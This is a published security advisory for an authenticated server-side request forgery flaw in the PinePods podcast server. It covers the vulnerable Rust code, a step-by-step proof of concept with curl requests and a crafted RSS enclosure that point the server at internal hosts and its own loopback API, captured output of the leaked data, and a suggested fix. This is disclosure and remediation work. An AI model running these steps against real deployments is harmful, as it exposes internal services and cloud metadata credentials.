Skip to content

Authenticated SSRF via podcast RSS enclosure URL (server-side fetch of attacker-controlled URL, no host validation)

Moderate
madeofpendletonwool published GHSA-j876-2282-p4hg Jun 26, 2026

Software

PinePods

Affected versions

<= 0.6.0

Patched versions

0.9.0

Description

Summary

PinePods fetches the audio/video enclosure URL of podcast episodes server-side, with no validation of the destination host or IP. The enclosure URL is fully attacker-controlled: any authenticated user can subscribe to an arbitrary RSS feed via POST /api/data/add_podcast, and the <enclosure url="..."> value from that feed is parsed by feed-rs and stored verbatim in the Episodes.episodeurl column. When that episode is later fetched server-side, PinePods issues a plain reqwest request to the stored URL.

This is a classic Server-Side Request Forgery (CWE-918). An attacker controls the full URL, so the request can target:

  • loopback / the PinePods API itself (http://127.0.0.1:8040/...),
  • RFC1918 internal hosts that are reachable only from the server (databases, admin panels, other containers),
  • cloud instance metadata endpoints (http://169.254.169.254/latest/meta-data/..., GCP/Azure equivalents).

Impact is amplified because the response body is saved to disk and recorded (DownloadedEpisodes), turning blind SSRF into a read-back / exfiltration primitive: the attacker can subscribe, trigger the fetch, then retrieve the internal response as the downloaded "episode" file. The reqwest client follows redirects by default, so a http://attacker/x enclosure that 302-redirects to http://169.254.169.254/... reaches internal targets even if a naive host check were applied only to the initial URL.

There is no SSRF guard anywhere in the codebase — a search for is_private, is_loopback, 169.254, ssrf across rust-api/src returns zero hits.

Impact

A low-privilege authenticated user can make the PinePods server issue arbitrary GET/HEAD requests to hosts of the attacker's choosing on the server's internal network, and read the responses back (saved as the downloaded "episode" file and recorded in DownloadedEpisodes). This enables internal-service enumeration/access, cloud instance-metadata credential theft (169.254.169.254), and reaching services bound to loopback that are otherwise unreachable from outside the host.

Reachability / How input reaches sink

Attacker subscribes to a feed: POST /api/data/add_podcast (handlers/podcasts.rs:268) → get_podcast_values/add_episodes parse the feed via feed-rs and store the <enclosure url> verbatim into Episodes.episodeurl (database.rs:6267-6271, database.rs:5468+). Attacker triggers the fetch: POST /api/data/download_podcast (handlers/podcasts.rs:988) → spawn_download_podcast_episodedownload_episode_and_wait (services/tasks.rs:12) reads episodeurl and passes it directly to reqwest::Client::get (services/tasks.rs:100). The duration-estimation path (database.rs:6901) reaches the same untrusted URL during add/refresh.

Severity: Medium. The fetch is gated on a low-privilege authenticated session (self-service signup is supported), and on download_podcast server-downloads being enabled (enabled by default). CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L ≈ 7.6 (scope change because the request crosses the server's trust boundary into the internal network).

Vulnerable code (file:line)

Primary sink — rust-api/src/services/tasks.rs:100-106, inside download_episode_and_wait() (reached from POST /api/data/download_podcastspawn_download_podcast_episode). episode_url here is e.episodeurl read from the DB, which is the RSS <enclosure url> value:

    // Download the file
    let client = reqwest::Client::new();
    let mut response = client.get(&episode_url)
        .header("Accept", "*/*")
        .header("User-Agent", "PinePods/1.0")
        .send()
        .await
        .map_err(|e| crate::error::AppError::Internal(format!("Failed to start download: {}", e)))?;

The response is then written to disk (rust-api/src/services/tasks.rs:112-119), turning blind SSRF into a read-back primitive:

    let mut file = std::fs::File::create(&file_path)
        .map_err(|e| crate::error::AppError::Internal(format!("Failed to create file: {}", e)))?;

    // Download the content
    while let Some(chunk) = response.chunk().await.map_err(|e| crate::error::AppError::Internal(format!("Download failed: {}", e)))? {
        std::io::Write::write_all(&mut file, &chunk)
            .map_err(|e| crate::error::AppError::Internal(format!("Failed to write file: {}", e)))?;
    }

Source / trust boundary — the URL is the RSS enclosure, taken verbatim with no validation, in rust-api/src/database.rs:6267-6271:

// Links for audio/video enclosures
for link in &entry.links {
    if let Some(media_type) = &link.media_type {
        if media_type.starts_with("audio/") || media_type.starts_with("video/") {
            episode_data.insert("enclosure_url".to_string(), link.href.clone());  // stored as-is

enclosure_url is then persisted to Episodes.episodeurl by add_episodes() (rust-api/src/database.rs:5468+), driven by POST /api/data/add_podcast (rust-api/src/handlers/podcasts.rs:268).

Second affected sink (same root cause, same untrusted URL) — rust-api/src/database.rs:6901-6918, estimate_duration_from_audio_url_async(), which issues a server-side reqwest HEAD to the enclosure URL during feed add/refresh, again with no host validation:

async fn estimate_duration_from_audio_url_async(&self, audio_url: &str) -> Option<i32> {
    let client = reqwest::Client::builder()....build()?;
    match client.head(audio_url).send().await {   // <-- SSRF HEAD, no validation

Proof of concept (End-to-end reproduction against the latest image)

End-to-end against a real, default Docker deployment of the current image (madeofpendletonwool/pinepods:latest, Rust API + PostgreSQL 17 + Valkey), using the official deployment/docker/compose-files/docker-compose-postgres/docker-compose.yml. The internal SSRF target (ssrf-sentinel) is a container on the app's Docker network with no published host port — the attacker on the host cannot reach it directly, only the PinePods server can. This models an internal-only service / metadata endpoint.

Steps (each command is reproducible; only the actual auth values differ per deploy):

# 0. internal-only target the attacker cannot reach, but the server can.
#    Serves a "secret" body and logs every request it receives.
docker run -d --name ssrf-sentinel --network <app_net> python:3.12-slim \
  python3 -c 'import http.server,datetime
class H(http.server.BaseHTTPRequestHandler):
 def do_GET(s):
  print(f"{datetime.datetime.utcnow().isoformat()}Z SSRF-HIT {s.command} {s.path} from={s.client_address[0]}",flush=True)
  b=b"INTERNAL-SECRET-TOKEN-AKIA-PINEPODS-SSRF-PROOF\n"
  s.send_response(200);s.send_header("Content-Type","audio/mpeg");s.send_header("Content-Length",str(len(b)));s.end_headers();s.wfile.write(b)
 def log_message(s,*a):pass
http.server.HTTPServer(("0.0.0.0",80),H).serve_forever()'

# 1. attacker-hosted RSS feed; the enclosure points at the internal-only target.
#    feed served at http://<feed_host>/malicious.xml :
#  <item>...<enclosure url="http://ssrf-sentinel/internal-secret-from-rss-enclosure"
#                       length="46" type="audio/mpeg"/></item>

# 2. low-priv authenticated user adds the feed (Api-Key auth).
curl -s -X POST http://127.0.0.1:8040/api/data/add_podcast \
  -H "Api-Key: $KEY" -H 'Content-Type: application/json' \
  -d '{"podcast_values":{"pod_title":"SSRF PoC Feed","pod_artwork":"","pod_author":"x",
       "categories":{},"pod_description":"p","pod_episode_count":1,
       "pod_feed_url":"http://<feed_host>/malicious.xml","pod_website":"http://e.invalid/",
       "pod_explicit":false,"user_id":2}}'
# -> {"success":true,"podcast_id":2,"first_episode_id":0}

# 3. enclosure URL is now stored verbatim as the episode URL:
#    SELECT episodeurl FROM "Episodes" WHERE podcastid=2;
#    -> http://ssrf-sentinel/internal-secret-from-rss-enclosure

# 4. trigger the server-side fetch.
curl -s -X POST http://127.0.0.1:8040/api/data/download_podcast \
  -H "Api-Key: $KEY" -H 'Content-Type: application/json' \
  -d '{"episode_id":2,"user_id":2,"is_youtube":false}'
# -> {"detail":"Podcast episode download has been queued ...","task_id":"acc8fc05-..."}

Verbatim captured output proving the SSRF:

# PinePods server container IP = 172.26.0.4

# ssrf-sentinel request log (the server fetched the internal-only target):
2026-06-02T00:48:04.272431Z SSRF-HIT GET /internal-secret-from-rss-enclosure from=172.26.0.4

# server log line for the same fetch:
INFO pinepods_api::services::tasks: Downloading podcast episode 2 for user 2

# the internal response body was SAVED to disk as the "episode" (read-back exfil):
$ cat "/opt/pinepods/downloads/SSRF PoC Feed/2026-06-02_SSRF Episode One_2_2.mp3"
ID3....TIT2 SSRF Episode One TPE1 ... TCON Podcast INTERNAL-SECRET-TOKEN-AKIA-PINEPODS-SSRF-PROOF

# DB record of the fetched bytes:
 episodeid | downloadedsize |                 downloadedlocation
-----------+----------------+----------------------------------------------------------
         2 |             47 | /opt/pinepods/downloads/SSRF PoC Feed/2026-06-02_..._2_2.mp3

Negative control / loopback confirmation — a second feed whose enclosure is http://127.0.0.1:8040/api/pinepods_check (the server's own internal API). The server fetched its own loopback and saved the JSON response, proving there is no loopback/private-IP rejection:

# server log:
Attempting to estimate duration from audio URL: http://127.0.0.1:8040/api/pinepods_check
INFO pinepods_api::services::tasks: Downloading podcast episode 3 for user 2

# saved file (server fetched its own 127.0.0.1:8040 API):
$ cat "/opt/pinepods/downloads/LB/2026-06-02_LB Ep_2_3.mp3"
ID3...TCON Podcast {"status_code":200,"pinepods_instance":true}

Attacker isolation, confirming the target is internal-only (the attacker on the host cannot reach ssrf-sentinel directly — only the server can):

$ curl -s -m 3 -o /dev/null -w 'host->172.26.0.5 http_code=%{http_code}\n' http://172.26.0.5/
host->172.26.0.5 http_code=000        # curl exit 28 (timeout) — host has no route to it

Suggested fix

Add a destination-host SSRF guard that runs before every server-side fetch of an enclosure / audio URL, and re-runs on every redirect hop. Mirror the approach used by other podcast managers (e.g. Koel's Network::isSafeUrl() + on_redirect):

  1. Restrict the URL scheme to http/https only (reject file:, gopher:, etc.).
  2. Resolve the host to its IP(s) and reject any that are loopback, link-local (incl. 169.254.0.0/16 and fe80::/10), private/RFC1918, unique-local (fc00::/7), unspecified, or otherwise reserved — including IPv4-mapped IPv6 (::ffff:a.b.c.d) and NAT64 (64:ff9b::/96) forms after unwrapping.
  3. Disable automatic redirect following (reqwest::redirect::Policy::none()), or install a custom redirect policy that re-validates each hop's resolved IP with the same checks (prevents redirect-to-internal bypass and TOCTOU between validation and connect).
  4. Apply the check at both sinks: download_episode_and_wait (tasks.rs:100) and estimate_duration_from_audio_url_async (database.rs:6901).

A central helper fn is_safe_public_url(url: &str) -> bool called at each sink keeps the policy consistent.

Fix PR

A patch implementing the guard above is provided as a pull request from a temporary private fork created under this advisory's workspace (GitHub does not allow attaching a public fork PR while the advisory is under embargo). The PR adds a shared services::url_guard::is_safe_public_url() helper (scheme allowlist + resolve-and-reject private/loopback/link-local/reserved including IPv4-mapped and NAT64 unwrap), wires it in before the reqwest call in download_episode_and_wait (tasks.rs:100) and before the HEAD in estimate_duration_from_audio_url_async (database.rs:6901), and disables default redirect following in favor of a re-validating redirect policy. The maintainer can merge it after review or use it as a reference.

Credit

Reported by tonghuaroot.

Severity

Moderate

CVE ID

CVE-2026-55598

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.